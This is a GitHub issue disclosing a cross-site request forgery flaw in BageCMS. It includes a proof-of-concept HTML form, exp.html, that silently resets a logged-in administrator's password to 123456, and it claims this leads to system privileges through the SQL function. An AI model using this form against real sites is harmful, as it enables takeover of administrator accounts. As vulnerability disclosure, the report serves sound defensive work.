Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CSRF vulnerability that can be used to modify administrator accounts to get system privileges. #4

Open
anquanfuwu opened this issue Nov 9, 2018 · 0 comments

Comments

@anquanfuwu
Copy link

anquanfuwu commented Nov 9, 2018

When any administrator login, open it, and the password is modified to 123456. If it is a simple username, such as admin, root, etc. You can get system privileges.

exp.html:

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/bagecms/upload/index.php?r=admini/admin/ownerUpdate" method="POST">
  <input type="hidden" name="Admin&#91;password&#93;" value="123456" />
  <input type="hidden" name="Admin&#91;email&#93;" value="" />
  <input type="hidden" name="submit" value="�&#143;&#144;浜&#164;" />
  <input type="submit" value="Submit request" />
</form>

After landing, perform SQL function.
image

Get system privileges
image

@anquanfuwu anquanfuwu changed the title There is a CSRF vulnerability that can be used to modify administrator accounts to get system privileges. CSRF vulnerability that can be used to modify administrator accounts to get system privileges. Nov 9, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant